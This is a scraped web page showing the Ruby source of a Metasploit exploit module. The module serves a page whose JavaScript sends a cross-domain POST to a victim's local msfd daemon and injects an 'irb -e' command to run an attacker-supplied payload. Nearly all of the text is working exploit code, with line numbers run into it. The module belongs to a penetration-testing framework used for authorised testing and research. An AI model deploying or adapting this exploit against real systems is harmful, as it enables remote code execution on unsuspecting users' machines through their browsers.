Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/msfd_rce_browser.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking7include Msf::Exploit::Remote::HttpServer::HTML89def initialize(info = {})10super(update_info(info,11'Name' => 'Metasploit msfd Remote Code Execution via Browser',12'Description' => %q{13Metasploit's msfd-service makes it possible to get a msfconsole-like14interface over a TCP socket. This module connects to the msfd-socket15through the victim's browser.1617To execute msfconsole-commands in JavaScript from a web application,18this module places the payload in the POST-data. These POST-requests19can be sent cross-domain and can therefore be sent to localhost on the20victim's machine. The msfconsole-command to execute code is 'rbi -e21"CODE"'.2223Exploitation when the browser is running on Windows is unreliable and24the exploit is only usable when IE is used and the quiet-flag has been25passed to msf-daemon.26},27'License' => BSD_LICENSE,28'Author' => 'Robin Stenvi <robin.stenvi[at]gmail.com>',29'Platform' => 'ruby',30'Arch' => ARCH_RUBY,31'Targets' =>32[33[ 'Automatic', {}],34],35'Payload' =>36{37'Space' => 8192, # Arbitrary limit38'DisableNops' => 'True',39'BadChars' => "\x22\x0a"40},41'DisclosureDate' => '2018-04-11', # Vendor notification42'DefaultTarget' => 0))4344register_options([45OptString.new('REMOTE_IP', [true, 'Remote IP address when called from victim', '127.0.0.1']),46OptString.new('REMOTE_PORT', [true, 'Remote port the service is running at', '55554'])47])48end4950def exploit51super52end5354def on_request_uri(cli, request)55msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"56sc = payload.encoded57shellcode = "\\x" + sc.unpack('U'*sc.length).collect {|x| x.to_s 16}.join("\\x")58var1 = rand_text_alpha(rand(6..11))59var2 = rand_text_alpha(rand(6..11))60html = <<-EOS61<html>62<head></head>63<body>64<script>65var #{var1} = new XMLHttpRequest();66#{var1}.open("POST","http://#{datastore['REMOTE_IP']}:#{datastore['REMOTE_PORT']}/", true);67var #{var2} = String("#{shellcode}");68#{var1}.send("irb -e \\"" + #{var2} + "\\"\\n");69</script>70</body>71</html>72EOS73print_status("#{msg} Sending HTML...")74send_response(cli, html, { 'Content-Type' => 'text/html' })75end76end777879